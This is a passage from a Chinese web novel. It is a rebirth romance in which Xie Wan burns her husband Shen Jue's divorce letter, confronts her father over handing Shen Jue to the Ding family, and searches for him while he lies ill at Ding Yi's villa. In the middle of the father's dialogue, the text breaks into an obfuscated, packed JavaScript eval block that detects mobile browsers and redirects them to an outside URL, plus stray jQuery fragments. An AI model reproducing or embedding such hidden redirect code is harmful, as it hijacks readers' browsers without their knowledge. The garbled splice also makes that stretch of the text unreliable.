可沈玦只是静静地看着她,看着那些碎纸落定。然后,他极轻地点了一下头,像是完成了一个确认。接着,他从那件半旧直裰的怀里,取出了另一样东西。 又是一封信。 普通的棉纸信封,没有任何纹饰,封得严严实实。他双手持着,递到她面前,姿态恭敬,如同呈递一件重要的、却与己无关的物品。 “这是什么?”谢晚听见自己的声音有些飘。 “和离书。”沈玦答道,每个字都清晰平稳,“我已签字画押。谢娘子只需落印,便可生效。家中现有财物,我一介白身,本是依附,分文不取。只求……放我归去。” 放我归去。 四个字,轻飘飘的,却像四把淬了冰的锥子,狠狠钉进谢晚的耳膜,钉进她的天灵盖!比前世那染血的遗书更冷,更尖锐! 他不要她的忏悔,不要她的撕信表态,他甚至……不再给她“处置”他的机会。他要把自己从“谢晚的夫君”这个名分里,干干净净地摘出去。他自己走。 前世血肉铺路的惨烈与今生这平静决绝的“自己走”,两幅画面在她脑中疯狂交错、碰撞,几乎要撕裂她的神魂。那股一直强压着的寒意瞬间冲垮了堤坝,从脚底直窜头顶,四肢百骸一片冰封般的麻木,连心跳都似乎停滞了。 她看着那封和离书,看着沈玦苍白却平静无波的脸。前世他呕出的血,仿佛此刻正从她自己的喉咙里涌上来,带着绝望的铁锈味。 不。 不能这样。 绝不能再这样! 近乎本能地,她一把抓过那信封。触手微凉,纸张粗糙。她看也不看,攥紧了,猛地转身,两步冲到那盏唯一的油灯前—— “你做什么?!”一直平静的沈玦,声音里终于出现了一丝裂痕,猛地向前踏了一步。 已经晚了。 谢晚将信封的一角,稳稳地按在了跳跃的灯焰上。 橘黄的火舌先是试探性地舔舐,随即像是尝到了美味的油脂,欢快地一卷,猛地窜起,贪婪地吞噬了棉纸信封的一角,迅速向上蔓延,明亮的火光瞬间照亮了她苍白的侧脸,也映亮了沈玦骤然收缩的瞳孔。 焦糊的气味弥散开来,混着灯油的腻香,有些刺鼻。 火舌灼热,几乎要撩到谢晚的手指,她却浑然未觉,只是死死盯着那团燃烧的火焰,直到整个信封被吞噬大半,化作蜷曲的、边缘发黑的灰烬,簌簌落下,落在灯盏旁的桌面上,剩下一点残骸在她指间冒着最后的青烟。 书房里死一般寂静,只有灯芯燃烧的哔剥声,和窗外愈发急促的雨声。 谢晚缓缓松开手指,让那点灰烬飘落。她转过身,脸上没有什么表情,只有眼底燃着两簇和方才火焰同样亮得骇人的光,直直看进沈玦骤然深邃的眼里。 她甚至轻轻勾了一下唇角,试图弯出一个笑,尽管肌肉僵硬得不像自己的。 “和离?”她的声音沙哑,却一字一句,清晰无比,砸在寂静的空气里,“沈玦,你听好了。” 她顿了顿,吸了一口气,那空气里满是焦糊与雨腥的味道。 “前世也好,今生也罢,你我拜过天地,祭过宗祠,名分早定,生死牵连。” “夫妻一体。” “所以,没有和离。” 她的目光掠过他苍白的脸,落在他微微颤抖的手指上,然后,重新抬起,不容置疑地锁住他的视线。 “要走,也不是你一个人走。” 她的声音压低了,却带着一种斩钉截铁的力度,混着窗外滂沱的雨声,竟有种惊心动魄的意味。 “而是我们一起。” 话音落下,书房里只剩下雨声喧嚣。灯焰在她身后跳跃,将她的影子拉得忽长忽短,投在满地的碎纸屑上,也投在沈玦僵立的身影上。 沈玦一动不动地站在那里,看着她。方才那一瞬间的震动和失态,此刻已尽数收敛,眸色比窗外的夜雨更沉,更深,如同两口望不见底的寒潭,映着她燃烧般决绝的面容,却波澜不起,窥不见半分情绪。 只有他自己知道,袖中指尖,掐入掌心的刺痛,何其尖锐。 而谢晚笼在宽大绛紫衣袖下的手,同样紧握成拳。冰冷的指尖,死死抵着一块坚硬微凸的物件——那是她重生醒来时,便紧紧攥在手中、浸透了冷汗的一枚染血玉珏的碎片。 前世,从沈玦冰冷僵硬的指缝里,抠出来的。 沈玦眼中的深潭,终究没有泛起谢晚能看清的涟漪。 他只是微微垂下眼帘,遮住了那一片沉黑,再抬起时,已恢复了古井无波。他什么也没说,甚至没有去看地上那摊信纸与和离书的灰烬,只是对着谢晚,极轻、极规矩地揖了一礼,像是完成一项每日必行的仪式,然后便转过身,撩开竹帘,悄无声息地退了出去。 那碗冰糖燕窝还放在桌角,热气已散尽,凝出一层薄薄的、令人不快的脂膜。 谢晚站在原地,看着微微晃动的竹帘,听着他轻而稳的脚步声消失在廊外渐沥的雨声里。她袖中的手指松开又握紧,玉珏碎片的棱角硌着掌心,带来一丝尖锐的痛感,也让她纷乱如麻的心神稍稍定住。 她赢了第一步,却没感到半分轻松。沈玦的平静,比暴怒更让她心头发沉。那是一种彻底划清界限的漠然。 接下来的几日,谢府表面波澜不惊。谢晚照常处理各处商铺送来的账目,核验货品清单,与管事们商议南边新到的丝绸定价。沈玦也依旧如常,晨起读书,午后或临帖或帮她整理一些旧籍书稿,入夜便早早回了他自己那间位于宅院最僻静角落的书房,两人几乎不再打照面。 只是府中上下,气氛莫名有些凝滞。下人们交换眼神时都带着小心翼翼,尤其是当谢老爷——谢晚的父亲谢秉坤在场的时候。 谢秉坤今年五十有二,身材微胖,面团团的一张脸,原本总是带着生意人惯有的和气生财的笑,但这几日,那笑意像是被江南潮湿的天气沤烂了,只剩下焦躁和不耐。他背着手,在前厅、账房、甚至后花园里踱来踱去,不时向谢晚院落的方向张望,眉头拧成一个疙瘩。 终于,在谢晚撕信后的第五日,一个闷热的午后,谢秉坤再也按捺不住,径直闯进了谢晚理事的小花厅。 厅里搁着冰盆,丝丝凉气也压不住谢秉坤心头火。他挥退了正在回事的两个账房先生,也不坐,就站在谢晚那张宽大的紫檀木书案前,手指“咚咚”地敲着光滑的案面。 “晚儿,丁府那边,你到底如何打算的?”他开门见山,声音因为刻意压低而显得有些粗嘎,“这都几天了?丁小姐遣人来问过两回,话里话外,可有些不满了!” 谢晚正执笔批着一份货单,闻言,笔尖未停,只淡淡道:“父亲不是知道么?那日信已撕了。” “撕了?!”谢秉坤的声音陡然拔高,又猛地收住,像是被人掐住了脖子,他急喘两口,胖脸上涌起一层赤红,“你……你糊涂啊!那是丁小姐的亲笔信!是丁家的意思!你当是小孩儿过家家,说撕就撕?!” 他绕过书案,凑近了些,一股混合着陈年账册墨味和上好檀香熏染过的体味扑面而来,谢晚几不可察地偏了偏头。 “晚儿,我的好女儿,”谢秉坤换上一副苦口婆心的腔调,压着嗓子,“爹知道,沈玦那小子,这些年是跟着你,没功劳也有苦劳。可你得看清楚,他是什么人?一个肩不能挑手不能提的病秧子!靠着我谢家,靠着你,才没饿死!如今丁小姐看上他,那是他的造化!也是我谢家天大的机会!” 他见谢晚依旧垂着眼,笔下不停,心中火气更旺,语气也强硬起来:“你别犯倔!丁家是什么门第?手指缝里漏一点,就够我们谢家吃用十年!不就是个男人吗?送过去一年,好吃好喝供着,说不定还能攀上更高的枝儿!回头你要什么样的俊才没有?沈玦那身子骨,能陪你几年?等他两腿一蹬,你守着这偌大家业,难道靠他那点虚情假意过活?” “虚情假意”四个字,像一根冰冷的针,猝然刺入谢晚耳中。 她终于停下了笔。 缓缓抬起头,目光平平地看向自己这位父亲。谢秉坤被她看得一怔,那眼神太静,太冷,竟无端让他心头一突。 “父亲,”谢晚开口,声音不高,却字字清晰,“沈玦是我的夫君,是入了谢家族谱,堂堂正正的谢家女婿。不是什么可以随意送来送去的物件。” “你……”谢秉坤被她这不软不硬的钉子顶得一噎,脸更红了,“女婿?他算哪门子女婿!当年要不是看他识得几个字,家里又败落得干净,我会同意他入赘?原指望他能帮衬你,结果呢?除了拖累,他有什么用?连个孩子都……” “父亲!”谢晚骤然打断他,声音依旧平稳,却带着一种不容置疑的力度,“这些话,我不想再听第二遍。” 她放下笔,站起身。她身量在女子中算是高挑,此刻站直了,竟比微胖的谢秉坤还显得挺拔些。午后略显晦暗的光线从雕花窗棂透进来,给她周身镀上一层淡淡的、坚硬的轮廓。 “谢家的生意,是我一手一脚,从母亲留下的那个小绸缎庄做到今天。每一本账目,每一条商路,每一分盈利,乃至每一次风险,都是我谢晚在担着。”她向前迈了一小步,明明语气平静,却逼得谢秉坤下意识后退了半步,“父亲您这些年,养花逗鸟,听听小曲,打理过几回铺面?过问过几次盈亏?” 谢秉坤的脸由红转青,嘴唇哆嗦着:“你……你这不孝女!我是你爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109857|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !这谢家是我姓谢的!” “是,您姓谢。”谢晚轻轻点头,目光却锐利如刀,刮过父亲那张因愤怒和某种被戳破的窘迫而扭曲的脸,“可如今,我才是谢家真正的主人。官府备案的东家,商号联保的画押人,都是我,谢晚。” 她顿了顿,看着父亲瞬间瞪大的眼睛和翕动的鼻翼,一字一句,将最后那点摇摇欲坠的窗户纸彻底捅破: “所以,沈玦的事,您不必再操心,更不必再催问丁府。这个家,现在,我说了算。” “你……你……”谢秉坤指着她,手指颤抖得厉害,胸膛剧烈起伏,像拉风箱一般呼哧作响,脸膛已涨成了猪肝色。他显然从未想过,这个自小聪慧、婚后更显强势的女儿,有一天会如此直白、如此不留情面地剥夺他作为父亲、作为一家之主最后那点虚幻的权威。 “反了!反了天了!”他猛地一甩袖子,力道之大,险些带倒旁边高几上一个官窑瓷瓶,“谢晚!你别忘了你是怎么有的今天!没有我谢家,你什么都不是!为了个没用的病鬼,你要得罪丁家,断送谢家的前程?你……你等着!我看你能硬气到几时!” 吼完,他像是怕再听到更诛心的话,也像是承受不住这巨大的羞辱和失控,狠狠一跺脚,转身踉跄着冲出了小花厅,脚步声沉重而凌乱,很快消失在回廊尽头。 花厅里恢复了寂静,只有冰盆里冰块融化时细微的“咔”声。 谢晚慢慢坐回椅中,挺直的脊背几不可察地松懈了一瞬,指尖冰凉。方才的强硬耗去了她不少心力。与父亲彻底撕破脸,是她预想中却不愿过早面对的一步。这意味着,来自内部的压力将彻底转为明面的对抗。 她端起手边早已凉透的茶,抿了一口,苦涩的滋味漫过舌尖。 她知道父亲不会善罢甘休。丁家的诱惑太大,而沈玦在他眼中,价值早已榨干,只剩“累赘”二字。 窗外,乌云不知何时又积聚起来,天色比之前更暗沉了。风穿过庭院,带着湿润的土腥气,卷起几片早凋的落叶。 山雨欲来。 而她袖中那片染血的碎玉,贴着手腕的皮肤,始终传来一丝挥之不去的、冰冷的触感。那是前世的债,今生的警钟。 她必须更快,更稳。不仅要挡住外部的觊觎,更要稳住内部的人心,还有……那个看似平静,却已心生去意,周身写满疏离的沈玦。 路,比她预想的,还要难走。但这一次,她绝不会再将他独自推向深渊。 谢秉坤那日怒气冲冲离去后,谢府表面维持着一种诡异的平静,内里却暗流汹涌。谢晚能感觉到,某些管事回话时眼神的闪烁,下人间传递消息时骤然的静默。父亲虽未再来当面锣对面鼓地争执,但那无声的对抗,像梅雨季弥散不去的潮气,浸透每个角落。 而沈玦,则越发沉寂了。 他依旧遵循着固定的作息,但待在书房的时间越来越长,有时谢晚深夜核完账目回去,还能看见他窗前一点孤灯,映着清瘦执笔的身影,直至夜深。两人偶尔在回廊或庭院相遇,他也只是微微颔首,便侧身避过,那姿态客气疏离得让谢晚心口发窒。他像一件过于精致的瓷器,被妥帖地安置在谢家这座华美的宅院里,却隔绝了所有温度,独自慢慢冷下去,脆下去。 这日晨起,天色竟罕见地放晴了片刻,久违的阳光穿透云层,在湿漉漉的青石板路上投下晃动的光斑。沈玦推开窗,看着庭院里被雨水洗刷得格外青翠的芭蕉叶,心头那股沉郁却未曾散去,反被这亮晃晃的光刺得有些眩晕。胸口熟悉的滞闷感又隐隐泛起。 他闭了闭眼,决定出去走走。再在这四四方方的院落里困着,他怕自己会无声无息地碎掉。 没有惊动任何人,沈玦换了身最寻常的月白细布直裰,独自出了谢府侧门。街道上行人不多,雨后空气清新,带着泥土和草木的气息。他漫无目的地走着,避开繁华的商铺街市,专拣那些清静的巷弄。不知不觉,竟走到了城西的玉带河畔。 玉带河上有座三孔石拱桥,名为“揽月”,桥身古旧,爬满青苔,桥下水波粼粼,倒映着岸边垂柳依依。此处景致清幽,平日里游人不多。 沈玦缓步上桥,站在桥拱最高处,凭栏远眺。河水汤汤,流向天际,远处黛色山峦如烟。微风拂过,带来水面的凉意,稍稍吹散了他胸口的窒闷。他微微仰头,闭目深吸了一口气,试图将那些纷乱的思绪——谢晚撕信时决绝的眼神,递上和离书时她眼底骇人的光,岳父那毫不掩饰的鄙弃与算计——都暂且抛入这流水之中。 就在这时,一阵极清雅的香气随风飘来,不同于花香,也非脂粉香,似兰非兰,似檀非檀,幽静不俗。紧接着,是环佩轻响,步履姗姗。 沈玦睁开眼,侧头望去。 桥那头,盈盈走上一位女子。约莫双十年华,身着天水碧的绫缎衣裙,外罩一件烟罗纱的披风,行动间如碧水漾波。她云鬓轻挽,只斜簪一支白玉嵌明珠的步摇,容颜清丽,眉眼间天然一段书卷气的温婉,举止更是优雅得体,一看便知是极有教养的大家闺秀。身后远远跟着两个垂首敛目的青衣丫鬟。 那女子似也看到了沈玦,脚步微顿,目光在他身上停留一瞬,眼底掠过一丝不易察觉的讶异,随即化为更深的温煦。她并未刻意靠近,只是走到桥栏另一侧,同样望着河水,姿态娴静。 沈玦却在那目光扫过的瞬间,心脏猛地一缩。他认得这香气,也认得这通身的气度。丁府千金,丁仪。 那封信笺的主人。 他脸色骤然白了几分,下意识地攥紧了冰凉的桥栏石,指尖用力到发白。胸腔里那股滞闷骤然化为尖锐的绞痛,伴随着强烈的眩晕袭来。眼前碧水青山、杨柳画桥,瞬间扭曲旋转起来,化作模糊的光斑与色块。 他想立刻离开,离这个女人远远的。可身体却不受控制地发软,力气随着那剧痛和眩晕飞速抽离。他试图扶稳栏杆,手却一滑—— “公子小心!” 清柔的惊呼在耳边响起,带着恰到好处的关切。一股柔和的力道及时托住了他下坠的手臂。 沈玦最后的意识,是鼻尖萦绕不散的清雅香气,和一双近在咫尺、看似温柔似水,眼底深处却静如寒潭的眼睛。 …… 意识回笼时,首先感受到的是身下柔软的锦褥,以及鼻端浓重的、清苦的药味,混着那股挥之不去的幽香。沈玦猛地睁开眼,映入眼帘的是陌生的茜素红鲛绡帐顶,屋内陈设精致华贵,却又透着一种刻意的雅致,多宝阁上列着古籍珍玩,博山炉里吐出袅袅青烟。 这里绝不是谢府。 他撑臂想要坐起,却一阵头晕目眩,身体虚乏得厉害。 “沈公子醒了?”轻柔的嗓音在床边响起。 沈玦循声望去,只见丁仪正坐在不远处的梨花木圆凳上,手中捧着一卷书,此刻已放下,含笑望着他。她已换了一身家常的藕荷色襦裙,卸了钗环,更显清丽脱俗,只是那笑容温和得体,却让沈玦无端觉得疏离冰冷。 “这里是……”他开口,声音干涩沙哑。 “是我的别院‘枕流阁’。”丁仪起身,亲自从一旁小几上的暖窠里倒出一盏温热的参茶,款步走近,“公子在揽月桥上晕倒了,恰好被我遇见。大夫来看过,说是心绪郁结,气血不调,加之素日体弱,受了些风寒引动旧疾,需好生静养。”她将茶盏递过来,动作自然,仿佛只是主人待客的寻常礼节,“先润润喉吧。” 沈玦没有接。他避开她的手,勉力撑着自己坐直了些,垂下眼帘:“多谢丁小姐援手。沈某卑贱之躯,不敢污了小姐清静之地。既已无大碍,这就告辞。” 语气平淡,却透着不容错辨的疏远与抗拒。 丁仪递茶的手停在半空,脸上的笑容未变,眼神却几不可察地深了一瞬。她缓缓收回手,将茶盏轻轻放回小几,发出“嗒”一声轻响。 “沈公子何必如此见外?”她重新坐下,语调依旧轻柔,“救命谈不上,不过是举手之劳。公子此刻气虚体弱,贸然移动恐生不测。我已派人去谢府知会,想必谢娘子…也该知道了。”她说到“谢娘子”时,微微顿了一下,目光掠过沈玦骤然更显苍白的脸。 “在此安心休养两日,待好些了再回不迟。”她语气温和,却带着一种不容置疑的安排意味,“我这里虽比不得谢府富贵,倒还清净,也有两个略通医理的仆妇照应。” 沈玦紧抿着唇,不再说话,只是将脸转向床内,闭目不语。拒绝的姿态摆得清清楚楚。 丁仪也不恼,只是静静地看着他。男子侧脸的线条清峻却脆弱,长睫低垂,在苍白的肌肤上投下淡淡阴影,薄唇紧抿,透着一股执拗的冷淡。他越是这般疏离守礼,如冰雪不可亲近,她心中那股奇异的感觉便越是鲜明。 谢晚那样一个精于算计、浑身铜臭的女商贾,如何配得上这样清皎如月、守节知礼的人物?将他拘在方寸宅院,磋磨他的才情风骨,已是暴殄天物。如今,连他自家岳父都视他为弃子,谢晚虽撕了信,怕是也顶不住内外压力,迟早要妥协。 而他,明明身处窘境,病弱不堪,却还固守着那可笑的“男女大防”,对她避如蛇蝎。这份身处逆境而不折的风骨,这份近乎迂腐的坚持,反而像投入静湖的石子,在她向来平静无波的心湖里,漾开一圈圈别样的涟漪。 她见过的男子太多了,阿谀的,讨好的,别有企图的,或是那些自以为是的所谓才子。从未有人像沈玦这样,冷淡,脆弱,却又如此…干净。让人想看看,那层冰冷的壳子下面,到底是怎样的内里;想试试,若将这冰雪捂在掌心,是否也能化作温顺的流水。 “沈公子好好休息,药熬好了会送来。”丁仪站起身,语气依旧温和得体,“若有任何需要,吩咐外面的丫鬟便是。” 她转身离去,裙裾拂过光洁的地面,悄无声息。走到门边,又停住,回头望了一眼床上那道背对着她、显得格外孤直的身影,唇角弯起一抹极淡的、势在必得的弧度。 不急。 人既然已“碰巧”落在她手里,来日方长。 房门轻轻合拢,室内重归寂静,只有药香与那缕幽香无声弥漫。 沈玦缓缓睁开眼,望着帐顶繁复的花纹,胸口那股郁结的痛楚并未因躺在这锦绣堆中而减轻分毫,反而因为意识到自己身处何处、落在何人手中,而变得更加沉重冰冷。 他居然以这样的方式,与丁仪产生了纠葛? 他闭上眼,只觉得透骨的寒意,从四肢百骸弥漫开来。 39. 云深客至渡危澜2 沈玦不见了。 起初,谢晚并未太在意。他性子静,有时去城中书肆一待便是半日,或是寻个清静茶馆临窗看书。但到了晚膳时分,人还未归,遣人去他常去的几处询问,皆摇头说未见。谢晚心中那根弦,便微微绷紧了。 雨又开始下,淅淅沥沥,敲打着屋檐,也敲在她逐渐焦躁的心上。她亲自去了沈玦那间僻静的书房。屋内收拾得一丝不苟,书案上笔墨纸砚井然,镇纸下压着一页临了一半的《灵飞经》,小楷清峻,力透纸背,却在一个字的转角处突兀地洇开一团墨渍,显出落笔时心绪的波动。常看的几卷书还摊在枕边,他惯用的那只青瓷药罐也还在原处。 不像远行,倒像是……临时起意出去散心,却再没回来。 谢晚站在空荡荡的书房里,环视着这过于整洁、缺乏生气的空间,一种熟悉的、冰冷的恐慌悄然攫住了她。前世,似乎也是在这个时节,沈玦也曾有过一次短暂的“消失”。那时她正为打通江淮盐路焦头烂额,对他的去留并未上心,只当他气闷出去走走,甚至隐隐希望他识趣些,自己有了去处,也省得她开口。后来他是自己回来的,更沉默,更消瘦,眼底最后一点光也寂灭了。她当时在忙什么?对了,在核对丁府送来的第一批盐引文书,一笔一笔,算着未来的金山银山。 为什么……重来一次,他还是这样?一言不发地离开,将她置于这片令人心慌的空白里?她就那么不值得信任?撕了信,驳了父亲,还不够表明她的态度吗?他还要她怎样?把心剖出来给他看吗? 一股夹杂着委屈的怒火冲上头顶,烧得她眼眶发涩。她扶住冰冷的书案边缘,指尖用力到泛白。 “娘子,”管事低着头进来,声音带着小心,“门房说,午后见过姑爷独自出门,往城西方向去了。各处医馆、书肆、茶楼都问遍了,没有消息。城门口也打探过,未见姑爷出城。” 城西?玉带河,揽月桥……他常去散心的地方。 “再加派人手,沿着玉带河两岸仔细找!客栈、画舫、哪怕是河边的草棚都不要放过!”谢晚的声音有些发紧,“去问问河边居住的人家,有没有见过一个穿月白长衫、身形清瘦的年轻男子。” 管事应声退下。谢晚在原地站了片刻,猛地转身,取过挂在墙角的蓑衣斗笠,径自向外走去。她不能再干等下去。 雨丝细密,天色晦暗如暮。谢晚带着两个得力的小厮,沿着玉带河一路寻去。雨水打湿了石板路,泛着清冷的光。她问遍了河边浣衣的妇人、垂钓的老叟、甚至是嬉闹的孩童,得到的回复都是摇头。揽月桥上空无一人,只有雨水顺着古老的桥栏无声滑落,汇入下面幽深的河水。 仿佛沈玦这个人,就这么凭空消失了,被这无边无际的雨幕吞噬。 一种比前世更甚的恐慌,混合着被“背叛”的恼怒,在她胸中翻腾。他怎么敢?怎么能在她决心扭转一切、费力修补的时候,就这样一走了之?难道我都已经撕了那信还不够表达我的态度吗?难道她谢晚,在他心中就永远是个冷血无情、随时可以抛弃他的恶人? 雨水顺着斗笠边缘流下,模糊了她的视线。心中那点隐约的不安和自责,被这股怨怒死死压住。她甚至没有去想,沈玦为何会“恰好”在丁仪可能出现的揽月桥晕倒,为何会“恰好”被丁仪所救。她满脑子都是他的“不告而别”,他的“任性”,他的“不信”。 “娘子,雨越来越大了,这一带都快找遍了,姑爷会不会……已经回去了?或是去了别的亲友处?”一个小厮抹着脸上的雨水,小心翼翼地问。 谢晚抿紧唇,望向河道更上游的方向。那边已是城外,山峦起伏,道路泥泞。“继续找。上游有个废弃的河神庙,他有时也会去那里。” 一行人深一脚浅一脚地沿着泥泞的河岸往上游走。雨势不减,天色越发昏暗,远处山影只剩模糊的轮廓。河神庙破败不堪,蛛网尘封,空无一人。 希望一点点湮灭。谢晚站在庙门前,看着外面连绵的雨幕,只觉得浑身冰冷,那股怒气被无助感冲刷得摇摇欲坠。他能去哪儿?他身子那么弱,这大雨天…… “娘子,看那边!好像有路可以上山,那边有个观景亭,姑爷会不会……”另一个小厮指着河对岸一条掩在杂树野草中的小径。 那小路极陡,被雨水浸泡后更是湿滑难行。但此刻任何一点可能都不能放过。谢晚咬了咬牙:“过去看看。” 艰难地渡过一道简易木桥,三人开始攀爬那条小径。雨水混着泥浆,每走一步都打滑。谢晚心中焦急,走得快了些,在一个陡峭的转弯处,脚下踩着的一块石头突然松动! “姑娘小心!” 惊呼声中,谢晚只觉脚下一空,整个人失去平衡,顺着湿滑泥泞的斜坡就滚了下去!天旋地转,冰冷的雨水和泥浆灌入口鼻,耳边是轰然的水声和两个小厮变了调的呼喊。她试图抓住什么,指尖只掠过冰冷的石壁和湿滑的草叶,下坠之势丝毫未减。 下面……是乱石嶙峋的河滩,更远处,是雾气笼罩、深不见底的山崖! 绝望攫住心脏的刹那,一道青影如电,自斜刺里疾掠而来! 预想中的撞击和剧痛并未到来,一股柔和却坚定的力道猛地揽住了她的腰,将她下坠的势头硬生生带偏,两人一同滚倒在崖边一片相对平缓、长满湿滑苔藓的巨石上。谢晚被撞得七荤八素,惊魂未定,只感觉到身下并非虚空,而是坚实的臂膀,以及……一股清冽的、混合着墨香与淡淡草药气的陌生气息。 他似乎在模仿某个人,但是又不觉得刻意。 她急促地喘息着,雨水模糊了视线,勉强抬头,对上一双眼睛。 救她的人是个年轻男子,似乎也是个书生打扮,穿着一件半湿的青色直裰,此刻正半跪在她身侧,手臂还虚护在她周围,以防她再次滑落。他发髻微乱,几缕湿发贴在额角脸颊,却丝毫无损那张脸的……惊人昳丽。 是的,昳丽。谢晚从未见过一个男子生得这般……精致。眉眼如画,鼻梁挺直,唇色是天然的淡绯,肤色在雨水的浸润下显得愈发白皙剔透。最特别的是一双眼睛,瞳孔颜色偏浅,像是上好的琥珀,此刻因为关切和方才的惊险,漾着粼粼微光,竟比沈玦那双沉静的黑眸,更添几分动人心魄的清澈与……无害的温柔。 他长得……竟比沈玦还要好看。不是沈玦那种清冷孤皎如月光的好看,而是春日桃花初绽、带着鲜活生气与水润光泽的俊美,近乎漂亮,却不显女气,反因那通身的书卷气和此刻眸中的诚挚,别有一种朗朗风致。 “姑娘,你没事吧?”他开口,声音也清润好听,带着恰到好处的担忧,“可有伤到哪里?” 谢晚这才回过神来,慌忙坐起身,避开他的搀扶,自己检查了一下。除了些擦伤和浑身泥泞狼狈,并无大碍。“没……没事。多谢公子救命之恩。”她定了定神,敛衽为礼,尽管在这泥泞山崖边,这礼节显得有些不伦不类。 “举手之劳,姑娘不必客气。”那书生也站起身,彬彬有礼地退开一步,保持着一个恰当的距离。他目光扫过谢晚略显苍白的脸和湿透的衣衫,眉头微蹙,“雨势甚急,山路险滑,姑娘怎会独自在此险地?”他顿了顿,看向气喘吁吁从上面连滚带爬赶下来的两个小厮,“可是在寻人?” “正是。”谢晚心中焦急沈玦,也顾不得许多,“公子可曾在这附近,见过一位身穿月白长衫、身形清瘦、脸色苍白的年轻男子?大概这么高。”她比划了一下。 书生凝神想了想,摇头:“在下在此处徘徊了片刻,是为寻几味罕见草药,并未见到如姑娘所描述之人。”他看了看天色和愈发凶猛的山雨,诚恳道:“此地不宜久留,恐有山石滑落之险。姑娘既要寻人,不若先随在下到前方不远处的山亭暂避,待雨势稍歇,再作打算?在下也可帮忙一同寻找。” 他的提议合情合理,态度温文有礼,眼神清澈坦荡,令人难以拒绝。况且方才救命之恩属实。 谢晚心中记挂沈玦,但也知如此大雨盲目寻找确非良策,且自己方才险些丧命,两个小厮也疲惫惊惶。她点了点头:“那……有劳公子了。不知公子高姓大名?” 书生微微一笑,那笑容在这阴冷山雨中,竟有种驱散晦暗的明亮。 “在下裴渠,一介游学书生,姑苏人士。” 谢晚最终还是带着裴渠回了谢府。 山亭避雨时,裴渠言谈举止斯文有礼,学识也颇渊博,谈及江南风物、古籍典故,皆能娓娓道来,且见解不俗。他自称是姑苏裴氏远支,家道中落,父母早亡,此次是变卖仅余家产游学四方,增长见闻,兼寻些谋生之路,如今盘缠将尽,正不知何处落脚。 雨稍歇后,他们又在附近找寻了一番,依旧没有沈玦的踪影。谢晚心中那团火烧火燎的焦急与怨怒,被冰冷的雨水和徒劳的寻找浇熄了大半,只剩下无尽的疲惫和一种更深的不安。看着裴渠身上那件半湿的、料子普通的青色直裰,看着他被雨水打湿后更显莹白的侧脸和那双清澈含忧的琥珀色眼眸,一个念头突兀地跳了出来。 带他回去。 沈玦不是不告而别吗?不是不信她吗?不是宁可晕倒在丁仪面前,也不肯回来与她分说半句吗? 好啊。那她也让他看看,这谢府,离了他沈玦,是不是就转不动了?是不是就没人了? 她谢晚,离了他,是不是就活该独守空房,惶惶不可终日? 一丝带着痛意的、近乎幼稚的报复心理,混杂着对裴渠适才救命之恩的感激,以及某种连她自己都不愿深究的、对那张过于精致好看的脸庞的微妙触动,让她做出了决定。 “裴公子救命之恩,无以为报。若不嫌弃寒舍简陋,可暂居府中,一来调养,二来……谢家也有些产业文书需人打理,公子才学,或可相助。”谢晚语气平静,带着生意人惯有的、衡量价值的客气。 裴渠似乎有些意外,随即露出感激而略带赧然的笑容:“这……如何使得?在下与姑娘萍水相逢,已蒙搭救,岂敢再叨扰府上?” “公子不必推辞。谢家尚有空余客房,也多一双碗筷而已。就当是……答谢公子方才援手。”谢晚语气坚决了几分,不容置疑地吩咐小厮,“回去后,将西跨院的‘听竹轩’收拾出来,给裴公子住。” “那……恭敬不如从命。谢过姑娘,谢过……府上。”裴渠深深一揖,姿态优雅,无可挑剔。 回到谢府时,已是掌灯时分。府内灯火通明,却弥漫着一股压抑的气氛。谢秉坤听说女儿带回来一个陌生男子,还安置在了仅次于主院的西跨院,气得在正厅里又摔了一个茶盏,但碍于谢晚白日里那番“谁才是主人”的宣言,终究没敢冲到面前来闹,只阴着脸派人来打听裴渠的底细。 谢晚懒得理会。她命人好生伺候裴渠洗漱更衣,又请了府里常用的大夫来给他看诊,借口是淋雨恐染风寒,自己则疲惫不堪地沐浴换衣。热水洗去一身泥泞冰冷,却洗不去心头沉甸甸的窒闷。 她望着镜中自己略显苍白的脸,眼底有着清晰的倦色和一丝茫然的狠厉。 沈玦,你在哪儿?看到我带别的男人回来,你会怎样? 会……有一点在意吗? 前世,你好像离我越来越远。 这个念头让她心口刺痛,却又诡异地带来一丝快意。 --- 与此同时,城郊丁仪的别庄“枕流阁”内,却是另一番景象。 这里与其说是别院,不如说是一座精心构筑、巧夺天工的山庄。坐落半山,引活泉为池,叠石成景,花木扶疏,即便在雨夜,廊下宫灯次第点亮,映照着潺潺流水与玲珑假山,恍若仙境。 沈玦被安置在山庄深处最幽静的一处独立小院里,名唤“送玉斋”。陈设极尽雅致舒适,熏着宁神的百合香,炭盆烧得暖融融的,驱散了雨夜的寒湿。 丁仪请来的大夫是城中有名的圣手,仔细为沈玦诊了脉,开了方子,又细细叮嘱了煎服之法与饮食禁忌。药是山庄里自备的上等药材,由专门的仆妇在小茶房里小心看守着煎好,准时送来。 沈玦的身体确实虚弱,那日晕倒并非全然作伪。胸口的滞闷郁结,加上淋雨引动旧疾,让他几乎起不了身。但他神志始终清醒,对丁仪的一切安排,都保持着沉默的、冰冷的接受。 他不抗拒喝药,因为不想让这具不争气的躯壳成为被摆布的借口;他也不刻意绝食,因为毫无意义。他只是把自己变成了一尊没有情绪的玉像,配合着,却隔绝着。 丁仪每日都会来“送玉斋”小坐片刻。有时带一本新搜罗的孤本,有时是一碟精致的、据说对身体有益的茶点,有时只是隔着屏风,问问仆妇他的饮食起居。她从不越界,言辞体贴,笑容温婉,将一个“恰巧救下陌生病弱书生、并悉心照料”的大家闺秀形象扮演得无可指摘。 但沈玦能感觉到那温婉表象下,日渐失去耐心的探究与一丝被漠视的不悦。 这日傍晚,药送来得比平日稍晚了些。沈玦正靠坐在窗边的软榻上,望着窗外被雨水洗刷得格外青翠的竹影出神。仆妇将黑褐色的药汁端到他面前的小几上,浓郁苦涩的气味弥漫开来。 